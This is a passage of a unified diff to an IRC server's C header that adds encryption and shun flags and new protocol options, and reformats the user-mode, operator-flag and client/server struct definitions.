DAL MADE ME PUT THIS IN THE FIEND: --Russell - * This number will be expanded to 200 in the near future - */ #define CHANNELLEN 32 #define PASSWDLEN 32 /* orig. 20, changed to 32 for nickpasswords */ #define KEYLEN 23 #define LINKLEN 32 -#define BUFSIZE 512 /* WARNING: *DONT* CHANGE THIS!!!! */ +#define BUFSIZE 512 /* WARNING: *DONT* CHANGE THIS!!!! */ #define MAXRECIPIENTS 20 #define MAXKILLS 20 #define MAXBANS 60 @@ -126,6 +123,13 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define elementsof(x) (sizeof(x)/sizeof(x[0])) +/* +** Flags for encryption +*/ +#ifdef CRYPTOIRCD +#define METHOD_BLOWFISH 1 +#endif + /* ** flags for bootup options (command line flags) */ @@ -138,14 +142,12 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define BOOT_AUTODIE 64 #define STAT_LOG -6 /* logfile for -x */ -#define STAT_MASTER -5 /* Local ircd master before identification */ #define STAT_CONNECTING -4 #define STAT_HANDSHAKE -3 #define STAT_ME -2 #define STAT_UNKNOWN -1 #define STAT_SERVER 0 #define STAT_CLIENT 1 -#define STAT_SERVICE 2 /* Services not implemented yet */ /* * status macros. @@ -155,14 +157,11 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define IsConnecting(x) ((x)->status == STAT_CONNECTING) #define IsHandshake(x) ((x)->status == STAT_HANDSHAKE) #define IsMe(x) ((x)->status == STAT_ME) -#define IsUnknown(x) ((x)->status == STAT_UNKNOWN || \ - (x)->status == STAT_MASTER) +#define IsUnknown(x) ((x)->status == STAT_UNKNOWN) #define IsServer(x) ((x)->status == STAT_SERVER) #define IsClient(x) ((x)->status == STAT_CLIENT) #define IsLog(x) ((x)->status == STAT_LOG) -#define IsService(x) 0 -#define SetMaster(x) ((x)->status = STAT_MASTER) #define SetConnecting(x) ((x)->status = STAT_CONNECTING) #define SetHandshake(x) ((x)->status = STAT_HANDSHAKE) #define SetMe(x) ((x)->status = STAT_ME) @@ -170,27 +169,38 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define SetServer(x) ((x)->status = STAT_SERVER) #define SetClient(x) ((x)->status = STAT_CLIENT) #define SetLog(x) ((x)->status = STAT_LOG) -#define SetService(x) ((x)->status = STAT_SERVICE) + +/* opt.. */ +#define OPT_SJOIN 0x0001 +#define OPT_NOT_SJOIN 0x0002 +#define OPT_NICKv2 0x0004 +#define OPT_NOT_NICKv2 0x0008 +#define OPT_SJOIN2 0x0010 +#define OPT_NOT_SJOIN2 0x0020 +#define OPT_UMODE2 0x0040 +#define OPT_NOT_UMODE2 0x0080 +#define OPT_SJ3 0x0100 +#define OPT_NOT_SJ3 0x0200 #define FLAGS_PINGSENT 0x0001 /* Unreplied ping sent */ #define FLAGS_DEADSOCKET 0x0002 /* Local socket is dead--Exiting soon */ #define FLAGS_KILLED 0x0004 /* Prevents "QUIT" from being sent for this */ #define FLAGS_BLOCKED 0x0008 /* socket is in a blocked condition */ -#define FLAGS_UNIX 0x0010 /* socket is in the unix domain, not inet */ +/* #define FLAGS_UNIX 0x0010 */ #define FLAGS_CLOSING 0x0020 /* set when closing to suppress errors */ -#define FLAGS_LISTEN 0x0040 /* used to mark clients which we listen() on */ -#define FLAGS_CHKACCESS 0x0080 /* ok to check clients access if set */ -#define FLAGS_DOINGDNS 0x0100 /* client is waiting for a DNS response */ -#define FLAGS_AUTH 0x0200 /* client is waiting on rfc931 response */ +#define FLAGS_LISTEN 0x0040 /* used to mark clients which we listen() on */ +#define FLAGS_CHKACCESS 0x0080 /* ok to check clients access if set */ +#define FLAGS_DOINGDNS 0x0100 /* client is waiting for a DNS response */ +#define FLAGS_AUTH 0x0200 /* client is waiting on rfc931 response */ #define FLAGS_WRAUTH 0x0400 /* set if we havent writen to ident server */ -#define FLAGS_LOCAL 0x0800 /* set for local clients */ +#define FLAGS_LOCAL 0x0800 /* set for local clients */ #define FLAGS_GOTID 0x1000 /* successful ident lookup achieved */ #define FLAGS_DOID 0x2000 /* I-lines say must use ident return */ -#define FLAGS_NONL 0x4000 /* No \n in buffer */ -#define FLAGS_TS8 0x8000 /* Why do you want to know? */ -#define FLAGS_ULINE 0x10000 /* User/server is considered U-lined */ -#define FLAGS_SQUIT 0x20000 /* Server has been /squit by an oper */ -#define FLAGS_PROTOCTL 0x40000 /* Received a PROTOCTL message */ +#define FLAGS_NONL 0x4000 /* No \n in buffer */ +#define FLAGS_TS8 0x8000 /* Why do you want to know? */ +#define FLAGS_ULINE 0x10000 /* User/server is considered U-lined */ +#define FLAGS_SQUIT 0x20000 /* Server has been /squit by an oper */ +#define FLAGS_PROTOCTL 0x40000 /* Received a PROTOCTL message */ #define FLAGS_PING 0x80000 #define FLAGS_ASKEDPING 0x100000 #define FLAGS_NETINFO 0x200000 @@ -200,8 +210,13 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define FLAGS_WRSOCKS 0x1000000 #define FLAGS_GOTSOCKS 0x2000000 #endif -#define FLAGS_HUSHED 0x4000000 -#define FLAGS_MAP 0x80000000 /* Show this entry in /map */ +#define FLAGS_SHUNNED 0x4000000 + +#ifdef CRYPTOIRCD +#define FLAGS_SECURE 0x8000000 +#endif + +#define FLAGS_MAP 0x80000000 /* Show this entry in /map */ /* Dec 26th, 1997 - added flags2 when I ran out of room in flags -DuffJ @@ -210,37 +225,37 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ * -DuffJ */ -#define UMODE_INVISIBLE 0x0001 /* makes user invisible */ +#define UMODE_INVISIBLE 0x0001 /* makes user invisible */ #define UMODE_OPER 0x0002 /* Operator */ -#define UMODE_WALLOP 0x0004 /* send wallops to them */ -#define UMODE_FAILOP 0x0008 /* Shows some global messages */ -#define UMODE_HELPOP 0x0010 /* Help system operator */ -#define UMODE_REGNICK 0x0020 /* Nick set by services as registered */ -#define UMODE_SADMIN 0x0040 /* Services Admin */ -#define UMODE_ADMIN 0x0080 /* Admin */ -#define UMODE_SERVNOTICE 0x0100 /* server notices such as kill */ -#define UMODE_LOCOP 0x0200 /* Local operator -- SRB */ -#define UMODE_KILLS 0x0400 /* Show server-kills... */ -#define UMODE_CLIENT 0x0800 /* Show client information */ -#define UMODE_FLOOD 0x1000 /* Receive flood warnings */ -#define UMODE_CHATOP 0x2000 /* can receive chatops */ -#define UMODE_SERVICES 0x4000 /* services */ -#define UMODE_HIDE 0x8000 /* Hide from Nukes */ -#define UMODE_NETADMIN 0x10000 /* Network Admin */ -#define UMODE_EYES 0x20000 /* Mode to see server stuff */ -#define UMODE_TECHADMIN 0x40000 /* Tech Admin */ -#define UMODE_COADMIN 0x80000 /* Co Admin */ -#define UMODE_WHOIS 0x100000 /* gets notice on /whois */ -#define UMODE_KIX 0x200000 /* usermode +q */ -#define UMODE_BOT 0x400000 /* User is a bot */ -#define UMODE_CODER 0x800000 /* User is a network coder */ -#define UMODE_FCLIENT 0x1000000 /* recieve client on far connects.. */ -#define UMODE_HIDING 0x2000000 /* Totally invisible .. */ -#define UMODE_VICTIM 0x8000000 /* Intentional Victim */ +#define UMODE_WALLOP 0x0004 /* send wallops to them */ +#define UMODE_FAILOP 0x0008 /* Shows some global messages */ +#define UMODE_HELPOP 0x0010 /* Help system operator */ +#define UMODE_REGNICK 0x0020 /* Nick set by services as registered */ +#define UMODE_SADMIN 0x0040 /* Services Admin */ +#define UMODE_ADMIN 0x0080 /* Admin */ +#define UMODE_SERVNOTICE 0x0100 /* server notices such as kill */ +#define UMODE_LOCOP 0x0200 /* Local operator -- SRB */ +#define UMODE_KILLS 0x0400 /* Show server-kills... */ +#define UMODE_CLIENT 0x0800 /* Show client information */ +#define UMODE_FLOOD 0x1000 /* Receive flood warnings */ +#define UMODE_CHATOP 0x2000 /* can receive chatops */ +#define UMODE_SERVICES 0x4000 /* services */ +#define UMODE_HIDE 0x8000 /* Hide from Nukes */ +#define UMODE_NETADMIN 0x10000 /* Network Admin */ +#define UMODE_EYES 0x20000 /* Mode to see server stuff */ +#define UMODE_TECHADMIN 0x40000 /* Tech Admin */ +#define UMODE_COADMIN 0x80000 /* Co Admin */ +#define UMODE_WHOIS 0x100000 /* gets notice on /whois */ +#define UMODE_KIX 0x200000 /* usermode +q */ +#define UMODE_BOT 0x400000 /* User is a bot */ +#define UMODE_CODER 0x800000 /* User is a network coder */ +#define UMODE_FCLIENT 0x1000000 /* recieve client on far connects.. */ +#define UMODE_HIDING 0x2000000 /* Totally invisible .. */ +#define UMODE_VICTIM 0x8000000 /* Intentional Victim */ #define UMODE_DEAF 0x10000000 -#define UMODE_HIDEOPER 0x20000000 /* Hide oper mode */ -#define UMODE_SETHOST 0x40000000 /* used sethost */ -#define UMODE_STRIPBADWORDS 0x80000000 /* */ +#define UMODE_HIDEOPER 0x20000000 /* Hide oper mode */ +#define UMODE_SETHOST 0x40000000 /* used sethost */ +#define UMODE_STRIPBADWORDS 0x80000000 /* */ #define SEND_UMODES (UMODE_INVISIBLE|UMODE_OPER|UMODE_WALLOP|UMODE_FAILOP|UMODE_HELPOP|UMODE_REGNICK|UMODE_SADMIN|UMODE_NETADMIN|UMODE_TECHADMIN|UMODE_COADMIN|UMODE_ADMIN|UMODE_SERVICES|UMODE_HIDE|UMODE_EYES|UMODE_WHOIS|UMODE_KIX|UMODE_BOT|UMODE_CODER|UMODE_FCLIENT|UMODE_HIDING|UMODE_DEAF|UMODE_VICTIM|UMODE_HIDEOPER|UMODE_SETHOST|UMODE_STRIPBADWORDS) #define ALL_UMODES (SEND_UMODES|UMODE_SERVNOTICE|UMODE_LOCOP|UMODE_KILLS|UMODE_CLIENT|UMODE_FLOOD|UMODE_CHATOP|UMODE_SERVICES|UMODE_EYES) @@ -253,6 +268,11 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define PROTO_SJOIN2 0x10 /* Negotiated SJOIN2 protocol */ #define PROTO_UMODE2 0x20 /* Negotiated UMODE2 protocol */ #define PROTO_ALN 0x40 /* Negotiated ALN protocol */ +#define PROTO_ZIP 0x80 /* Negotiated ZIP protocol */ +#define PROTO_VL 0x100 /* Negotiated VL protocol */ +#define PROTO_SJ3 0x200 /* Negotiated SJ3 protocol */ +#define PROTO_VHP 0x400 /* Send hostnames in NICKv2 even if not + sethosted */ /* * flags macros. */ @@ -268,7 +288,7 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define IsAdmin(x) ((x)->umodes & UMODE_ADMIN) #define IsHiding(x) ((x)->umodes & UMODE_HIDING) -#ifdef STRIPBADWORDS +#ifdef STRIPBADWORDS #define IsFilteringWords(x) ((x)->umodes & UMODE_STRIPBADWORDS) #endif @@ -290,7 +310,6 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define IsPrivileged(x) (IsAnOper(x) || IsServer(x)) #define SendWallops(x) ((x)->umodes & UMODE_WALLOP) #define SendServNotice(x) ((x)->umodes & UMODE_SERVNOTICE) -#define IsUnixSocket(x) ((x)->flags & FLAGS_UNIX) #define IsListening(x) ((x)->flags & FLAGS_LISTEN) #define DoAccess(x) ((x)->flags & FLAGS_CHKACCESS) #define IsLocal(x) ((x)->flags & FLAGS_LOCAL) @@ -300,12 +319,20 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define GotNetInfo(x) ((x)->flags & FLAGS_NETINFO) #define SetNetInfo(x) ((x)->flags |= FLAGS_NETINFO) -#define IsHushed(x) ((x)->flags & FLAGS_HUSHED) -#define SetHushed(x) ((x)->flags |= FLAGS_HUSHED) -#define ClearHushed(x) ((x)->flags &= ~FLAGS_HUSHED) +#define IsShunned(x) ((x)->flags & FLAGS_SHUNNED) +#define SetShunned(x) ((x)->flags |= FLAGS_SHUNNED) +#define ClearShunned(x) ((x)->flags &= ~FLAGS_SHUNNED) + +#ifdef CRYPTOIRCD +#define IsSecure(x) ((x)->flags & FLAGS_SECURE) +#define SetSecure(x) ((x)->flags |= FLAGS_SECURE) +#define ClearSecure(x) ((x)->flags &= ~FLAGS_SECURE) +#endif + #define IsHybNotice(x) ((x)->flags & FLAGS_HYBNOTICE) #define SetHybNotice(x) ((x)->flags |= FLAGS_HYBNOTICE) +#define ClearHybNotice(x) ((x)->flags &= ~FLAGS_HYBNOTICE) #define IsHidden(x) ((x)->umodes & UMODE_HIDE) #define IsHideOper(x) ((x)->umodes & UMODE_HIDEOPER) @@ -329,7 +356,6 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define SetInvisible(x) ((x)->umodes |= UMODE_INVISIBLE) #define SetEyes(x) ((x)->umodes |= UMODE_EYES) #define SetWallops(x) ((x)->umodes |= UMODE_WALLOP) -#define SetUnixSock(x) ((x)->flags |= FLAGS_UNIX) #define SetDNS(x) ((x)->flags |= FLAGS_DOINGDNS) #define DoingDNS(x) ((x)->flags & FLAGS_DOINGDNS) #define SetAccess(x) ((x)->flags |= FLAGS_CHKACCESS) @@ -380,6 +406,9 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define SupportSJOIN2(x) ((x)->proto & PROTO_SJOIN2) #define SupportUMODE2(x) ((x)->proto & PROTO_UMODE2) #define SupportALN(x) ((x)->proto & PROTO_ALN) +#define SupportVL(x) ((x)->proto & PROTO_VL) +#define SupportSJ3(x) ((x)->proto & PROTO_SJ3) +#define SupportVHP(x) ((x)->proto & PROTO_VHP) #define SetSJOIN(x) ((x)->proto |= PROTO_SJOIN) #define SetNoQuit(x) ((x)->proto |= PROTO_NOQUIT) @@ -388,42 +417,48 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define SetSJOIN2(x) ((x)->proto |= PROTO_SJOIN2) #define SetUMODE2(x) ((x)->proto |= PROTO_UMODE2) #define SetALN(x) ((x)->proto |= PROTO_ALN) +#define SetVL(x) ((x)->proto |= PROTO_VL) +#define SetSJ3(x) ((x)->proto |= PROTO_SJ3) +#define SetVHP(x) ((x)->proto |= PROTO_VHP) #define ClearSJOIN(x) ((x)->proto &= ~PROTO_SJOIN) #define ClearNoQuit(x) ((x)->proto &= ~PROTO_NOQUIT) #define ClearToken(x) ((x)->proto &= ~PROTO_TOKEN) #define ClearNICKv2(x) ((x)->proto &= ~PROTO_NICKv2) #define ClearSJOIN2(x) ((x)->proto &= ~PROTO_SJOIN2) - +#define ClearUMODE2(x) ((x)->proto &= ~PROTO_UMODE2) +#define ClearVL(x) ((x)->proto &= ~PROTO_VL) +#define ClearVHP(x) ((x)->proto &= ~PROTO_VHP) +#define ClearSJ3(x) ((x)->proto &= ~PROTO_SJ3) /* * defined operator access levels */ -#define OFLAG_REHASH 0x00000001 /* Oper can /rehash server */ -#define OFLAG_DIE 0x00000002 /* Oper can /die the server */ -#define OFLAG_RESTART 0x00000004 /* Oper can /restart the server */ -#define OFLAG_HELPOP 0x00000010 /* Oper can send /HelpOps */ -#define OFLAG_GLOBOP 0x00000020 /* Oper can send /GlobOps */ -#define OFLAG_WALLOP 0x00000040 /* Oper can send /WallOps */ -#define OFLAG_LOCOP 0x00000080 /* Oper can send /LocOps */ -#define OFLAG_LROUTE 0x00000100 /* Oper can do local routing */ -#define OFLAG_GROUTE 0x00000200 /* Oper can do global routing */ -#define OFLAG_LKILL 0x00000400 /* Oper can do local kills */ -#define OFLAG_GKILL 0x00000800 /* Oper can do global kills */ -#define OFLAG_KLINE 0x00001000 /* Oper can /kline users */ -#define OFLAG_UNKLINE 0x00002000 /* Oper can /unkline users */ -#define OFLAG_LNOTICE 0x00004000 /* Oper can send local serv notices */ -#define OFLAG_GNOTICE 0x00008000 /* Oper can send global notices */ -#define OFLAG_ADMIN 0x00010000 /* Admin */ -#define OFLAG_UMODEC 0x00020000 /* Oper can set umode +c */ -#define OFLAG_UMODEF 0x00040000 /* Oper can set umode +f */ -#define OFLAG_ZLINE 0x00080000 /* Oper can use /zline and /unzline */ -#define OFLAG_EYES 0x00100000 /* Oper auto gets +e */ -#define OFLAG_NETADMIN 0x00200000 /* netadmin gets +N */ -#define OFLAG_TECHADMIN 0x00400000 /* tech admin gets +T */ -#define OFLAG_COADMIN 0x00800000 /* co admin gets +C */ -#define OFLAG_SADMIN 0x01000000 /* services admin gets +a */ -#define OFLAG_WHOIS 0x02000000 /* gets auto +W on oper up */ -#define OFLAG_HIDE 0x04000000 /* gets auto +x on oper up */ +#define OFLAG_REHASH 0x00000001 /* Oper can /rehash server */ +#define OFLAG_DIE 0x00000002 /* Oper can /die the server */ +#define OFLAG_RESTART 0x00000004 /* Oper can /restart the server */ +#define OFLAG_HELPOP 0x00000010 /* Oper can send /HelpOps */ +#define OFLAG_GLOBOP 0x00000020 /* Oper can send /GlobOps */ +#define OFLAG_WALLOP 0x00000040 /* Oper can send /WallOps */ +#define OFLAG_LOCOP 0x00000080 /* Oper can send /LocOps */ +#define OFLAG_LROUTE 0x00000100 /* Oper can do local routing */ +#define OFLAG_GROUTE 0x00000200 /* Oper can do global routing */ +#define OFLAG_LKILL 0x00000400 /* Oper can do local kills */ +#define OFLAG_GKILL 0x00000800 /* Oper can do global kills */ +#define OFLAG_KLINE 0x00001000 /* Oper can /kline users */ +#define OFLAG_UNKLINE 0x00002000 /* Oper can /unkline users */ +#define OFLAG_LNOTICE 0x00004000 /* Oper can send local serv notices */ +#define OFLAG_GNOTICE 0x00008000 /* Oper can send global notices */ +#define OFLAG_ADMIN 0x00010000 /* Admin */ +#define OFLAG_UMODEC 0x00020000 /* Oper can set umode +c */ +#define OFLAG_UMODEF 0x00040000 /* Oper can set umode +f */ +#define OFLAG_ZLINE 0x00080000 /* Oper can use /zline and /unzline */ +#define OFLAG_EYES 0x00100000 /* Oper auto gets +e */ +#define OFLAG_NETADMIN 0x00200000 /* netadmin gets +N */ +#define OFLAG_TECHADMIN 0x00400000 /* tech admin gets +T */ +#define OFLAG_COADMIN 0x00800000 /* co admin gets +C */ +#define OFLAG_SADMIN 0x01000000 /* services admin gets +a */ +#define OFLAG_WHOIS 0x02000000 /* gets auto +W on oper up */ +#define OFLAG_HIDE 0x04000000 /* gets auto +x on oper up */ #define OFLAG_AFOUNDER 0x10000000 #define OFLAG_COFOUND 0x20000000 #define OFLAG_WMASTER 0x40000000 @@ -486,7 +521,7 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define OPSetWhois(x) ((x)->oflag |= OFLAG_WHOIS) #define OPSetPasser(x) ((x)->oflag |= OFLAG_ISPASSER) #define OPClearRehash(x) ((x)->oflag &= ~OFLAG_REHASH) -#define OPClearDie(x) ((x)->oflag &= ~OFLAG_DIE) +#define OPClearDie(x) ((x)->oflag &= ~OFLAG_DIE) #define OPClearRestart(x) ((x)->oflag &= ~OFLAG_RESTART) #define OPClearHelpOp(x) ((x)->oflag &= ~OFLAG_HELPOP) #define OPClearGlobOps(x) ((x)->oflag &= ~OFLAG_GLOBOP) @@ -515,15 +550,15 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ * defined debugging levels */ #define DEBUG_FATAL 0 -#define DEBUG_ERROR 1 /* report_error() and other errors that are found */ +#define DEBUG_ERROR 1 /* report_error() and other errors that are found */ #define DEBUG_NOTICE 3 -#define DEBUG_DNS 4 /* used by all DNS related routines - a *lot* */ -#define DEBUG_INFO 5 /* general usful info */ -#define DEBUG_NUM 6 /* numerics */ -#define DEBUG_SEND 7 /* everything that is sent out */ -#define DEBUG_DEBUG 8 /* anything to do with debugging, ie unimportant :) */ -#define DEBUG_MALLOC 9 /* malloc/free calls */ -#define DEBUG_LIST 10 /* debug list use */ +#define DEBUG_DNS 4 /* used by all DNS related routines - a *lot* */ +#define DEBUG_INFO 5 /* general usful info */ +#define DEBUG_NUM 6 /* numerics */ +#define DEBUG_SEND 7 /* everything that is sent out */ +#define DEBUG_DEBUG 8 /* anything to do with debugging, ie unimportant :) */ +#define DEBUG_MALLOC 9 /* malloc/free calls */ +#define DEBUG_LIST 10 /* debug list use */ /* * defines for curses in client @@ -533,61 +568,66 @@ typedef unsigned int u_int32_t; /* XXX Hope this works! */ #define TERMCAP_TERM 2 struct MotdItem { - char line[82]; - struct MotdItem *next; + char line[82]; + struct MotdItem *next; }; /* Hack for T:lines and cached MOTDs */ struct trecord { - char *hostmask; - struct MotdItem *tmotd; - struct MotdItem *trules; - struct tm *tmotd_tm; - struct trecord *next; + char *hostmask; + struct MotdItem *tmotd; + struct MotdItem *trules; + struct tm *tmotd_tm; + struct trecord *next; }; -typedef struct Whowas -{ - int hashv; - char *name; - char *username; - char *hostname; - char *virthost; - char *servername; - char *realname; - char *away; - long umodes; - time_t logoff; - struct Client *online; /* Pointer to new nickname for chasing or NULL */ - struct Whowas *next; /* for hash table... */ - struct Whowas *prev; /* for hash table... */ - struct Whowas *cnext; /* for client struct linked list */ - struct Whowas *cprev; /* for client struct linked list */ -}aWhowas; +typedef struct Whowas { + int hashv; + char *name; + char *username; + char *hostname; + char *virthost; + char *servername; + char *realname; + char *away; + long umodes; + time_t logoff; + struct Client *online; /* Pointer to new nickname for chasing or NULL */ + struct Whowas *next; /* for hash table... */ + struct Whowas *prev; /* for hash table... */ + struct Whowas *cnext; /* for client struct linked list */ + struct Whowas *cprev; /* for client struct linked list */ +} aWhowas; +#ifdef CRYPTOIRCD +typedef struct CryptInfo { + short method; + void *key; +} aCryptInfo; +#endif -struct SqlineItem { - unsigned int status; +struct SqlineItem { + unsigned int status; char *sqline; char *reason; - struct SqlineItem *next; + struct SqlineItem *next; }; -struct ConfItem { - unsigned int status; /* If CONF_ILLEGAL, delete when no clients */ - int clients; /* Number of *LOCAL* clients using this */ - struct IN_ADDR ipnum; /* ip number of host field */ - char *host; - char *passwd; - char *name; - int port; - time_t hold; /* Hold action until this time (calendar time) */ - int tmpconf; +struct ConfItem { + unsigned int status; /* If CONF_ILLEGAL, delete when no clients */ + int clients; /* Number of *LOCAL* clients using this */ + struct IN_ADDR ipnum; /* ip number of host field */ + char *host; + char *passwd; + char *name; + int port; + time_t hold; /* Hold action until this time (calendar time) */ + int tmpconf; #ifndef VMSP - aClass *class; /* Class of connection */ + aClass *class; /* Class of connection */ #endif - struct ConfItem *next; + struct ConfItem *next; }; #define CONF_ILLEGAL 0x80000000 @@ -617,11 +657,12 @@ struct ConfItem { #define CONF_CRULEAUTO 0x400000 #define CONF_MISSING 0x800000 #define CONF_SADMIN 0x1000000 -#define CONF_DRPASS 0x2000000 /* DIE/RESTART pass - NikB */ -#define CONF_EXCEPT 0x4000000 /* K:Line exception */ -#define CONF_TLINE 0x8000000 /* T:Line */ +#define CONF_DRPASS 0x2000000 /* DIE/RESTART pass - NikB */ +#define CONF_EXCEPT 0x4000000 /* K:Line exception */ +#define CONF_TLINE 0x8000000 /* T:Line */ #define CONF_SOCKSEXCEPT 0x10000000 #define CONF_NLINE 0x20000000 +#define CONF_VERSION 0x40000000 #define CONF_OPS (CONF_OPERATOR | CONF_LOCOP) #define CONF_SERVER_MASK (CONF_CONNECT_SERVER | CONF_NOCONNECT_SERVER) #define CONF_CLIENT_MASK (CONF_CLIENT | CONF_SERVICE | CONF_OPS | \ @@ -635,57 +676,48 @@ struct ConfItem { /* * Client structures */ -struct User { - struct User *nextu; - Link *channel; /* chain of channel pointer blocks */ - Link *invited; /* chain of invite pointer blocks */ - Link *silence; /* chain of silence pointer blocks */ - char *away; /* pointer to away message */ - time_t last; - u_int32_t servicestamp; /* Services' time stamp variable */ - int refcnt; /* Number of times this block is referenced */ - int joined; /* number of channels joined */ - char username[USERLEN+1]; - char realhost[HOSTLEN+1]; - char *virthost; - char *server; - char *swhois; /* special whois thing */ - aClient *serv; +struct User { + struct User *nextu; + Link *channel; /* chain of channel pointer blocks */ + Link *invited; /* chain of invite pointer blocks */ + Link *silence; /* chain of silence pointer blocks */ + char *away; /* pointer to away message */ + time_t last; + u_int32_t servicestamp; /* Services' time stamp variable */ + int refcnt; /* Number of times this block is referenced */ + int joined; /* number of channels joined */ + char username[USERLEN + 1]; + char realhost[HOSTLEN + 1]; + char *virthost; + char *server; + char *swhois; /* special whois thing */ + aClient *serv; #ifdef LIST_DEBUG - aClient *bcptr; + aClient *bcptr; #endif }; -struct Server { - struct Server *nexts; - anUser *user; /* who activated this connection */ - char *up; /* uplink for this server */ - char by[NICKLEN+1]; +struct Server { + struct Server *nexts; + anUser *user; /* who activated this connection */ + char *up; /* uplink for this server */ + char by[NICKLEN + 1]; aConfItem *nline; /* N-line pointer for this server */ - time_t timestamp; /* Remotely determined connect try time */ + time_t timestamp; /* Remotely determined connect try time */ #ifdef LIST_DEBUG - aClient *bcptr; + aClient *bcptr; #endif }; struct t_vhost { - char *usermask; - char *hostmask; - char *login; - char *password; - char *virthost; - aVhost *next; - aVhost *prev; -}; - -struct t_hush { - char *nuhmask; - char *setby; - time_t set_at; - time_t expire_at; - aHush *next; - aHush *prev; + char *usermask; + char *hostmask; + char *login; + char *password; + char *virthost; + aVhost *next; + aVhost *prev; }; /* tkl: @@ -697,31 +729,32 @@ struct t_hush { #define TKL_KILL 0x0001 #define TKL_ZAP 0x0002 #define TKL_GLOBAL 0x0004 +#define TKL_SHUN 0x0008 -struct t_kline { - int type; - char *usermask; - char *hostmask; - char *reason; - char *setby; - time_t expire_at; - time_t set_at; +struct t_kline { + int type; + char *usermask; + char *hostmask; + char *reason; + char *setby; + time_t expire_at; + time_t set_at; aTKline *next; - aTKline *prev; + aTKline *prev; }; struct ircstatsx { - int clients; /* total */ - int invisible; /* invisible */ - int servers; /* servers */ - int operators; /* operators */ - int unknown; /* unknown local connections */ - int channels; /* channels */ - int me_clients; /* my clients */ - int me_servers; /* my servers */ - int me_max; /* local max */ - int global_max; /* global max */ + int clients; /* total */ + int invisible; /* invisible */ + int servers; /* servers */ + int operators; /* operators */ + int unknown; /* unknown local connections */ + int channels; /* channels */ + int me_clients; /* my clients */ + int me_servers; /* my servers */ + int me_max; /* local max */ + int global_max; /* global max */ }; struct t_fline { @@ -739,10 +772,10 @@ struct t_crline { }; struct t_vhline { - char *login; - char *password; - char *vhost; - int type; + char *login; + char *password; + char *vhost; + int type; aVHline *next, *prev; }; @@ -752,75 +785,82 @@ struct t_vhline { #define LISTENER_REMOTEADMIN 0x000008 #define LISTENER_JAVACLIENT 0x000010 #define LISTENER_MASK 0x000020 -struct Client { - struct Client *next, *prev, *hnext; - anUser *user; /* ...defined, if this is a User */ - aServer *serv; /* ...defined, if this is a server */ - time_t lasttime; /* ...should be only LOCAL clients? --msa */ - time_t firsttime; /* time client was created */ - time_t since; /* last time we parsed something */ - time_t lastnick; /* TimeStamp on nick */ - time_t nextnick; /* Time the next nick change will be allowed */ - time_t nexttarget; /* Time until a change in targets is allowed */ - u_char targets[MAXTARGETS]; /* Hash values of current targets */ + +struct Client { + struct Client *next, *prev, *hnext; + anUser *user; /* ...defined, if this is a User */ + aServer *serv; /* ...defined, if this is a server */ + time_t lasttime; /* ...should be only LOCAL clients? --msa */ + time_t firsttime; /* time client was created */ + time_t since; /* last time we parsed something */ + time_t lastnick; /* TimeStamp on nick */ + time_t nextnick; /* Time the next nick change will be allowed */ + time_t nexttarget; /* Time until a change in targets is allowed */ + u_char targets[MAXTARGETS]; /* Hash values of current targets */ aWhowas *whowas; - long flags; /* client flags */ - long umodes; /* client usermodes */ - aClient *from; /* == self, if Local Client, *NEVER* NULL! */ - int fd; /* >= 0, for local clients */ - int hopcount; /* number of servers to this 0 = local */ - short status; /* Client type */ - char name[HOSTLEN+1]; /* Unique name of the client, nick or host */ - char username[USERLEN+1]; /* username here now for auth stuff */ - char info[REALLEN+1]; /* Free form additional client information */ - aClient *srvptr; /* Server introducing this. May be &me */ - Link *history; /* Whowas linked list */ + long flags; /* client flags */ + long umodes; /* client usermodes */ + aClient *from; /* == self, if Local Client, *NEVER* NULL! */ + int fd; /* >= 0, for local clients */ + int hopcount; /* number of servers to this 0 = local */ + short status; /* Client type */ + char name[HOSTLEN + 1]; /* Unique name of the client, nick or host */ + char username[USERLEN + 1]; /* username here now for auth stuff */ + char info[REALLEN + 1]; /* Free form additional client information */ + aClient *srvptr; /* Server introducing this. May be &me */ + Link *history; /* Whowas linked list */ /* - ** The following fields are allocated only for local clients - ** (directly connected to *this* server with a socket. - ** The first of them *MUST* be the "count"--it is the field - ** to which the allocation is tied to! *Never* refer to - ** these fields, if (from != self). - */ - int count; /* Amount of data in buffer */ - char buffer[BUFSIZE]; /* Incoming message buffer */ - short lastsq; /* # of 2k blocks when sendqueued called last*/ - dbuf sendQ; /* Outgoing message queue--if socket full */ - dbuf recvQ; /* Hold for data incoming yet to be parsed */ + ** The following fields are allocated only for local clients + ** (directly connected to *this* server with a socket. + ** The first of them *MUST* be the "count"--it is the field + ** to which the allocation is tied to! *Never* refer to + ** these fields, if (from != self). + */ + int count; /* Amount of data in buffer */ + char buffer[BUFSIZE]; /* Incoming message buffer */ + short lastsq; /* # of 2k blocks when sendqueued called last */ + dbuf sendQ; /* Outgoing message queue--if socket full */ + dbuf recvQ; /* Hold for data incoming yet to be parsed */ #ifdef NOSPOOF - u_int32_t nospoof; /* Anti-spoofing random number */ + u_int32_t nospoof; /* Anti-spoofing random number */ +#endif + long oflag; /* Operator access flags -Cabal95 */ + long proto; /* ProtoCtl options */ + long sendM; /* Statistics: protocol messages send */ + long sendK; /* Statistics: total k-bytes send */ + long receiveM; /* Statistics: protocol messages received */ +#ifdef ZIP_LINKS + struct Zdata *zip; /* zip data */ +#endif +#ifdef CRYPTOIRCD + aCryptInfo *cryptinfo; /* crypt */ #endif - long oflag; /* Operator access flags -Cabal95 */ - long proto; /* ProtoCtl options */ - long sendM; /* Statistics: protocol messages send */ - long sendK; /* Statistics: total k-bytes send */ - long receiveM; /* Statistics: protocol messages received */ #ifndef NO_FDLIST - long lastrecvM; /* to check for activity --Mika */ - int priority; + long lastrecvM; /* to check for activity 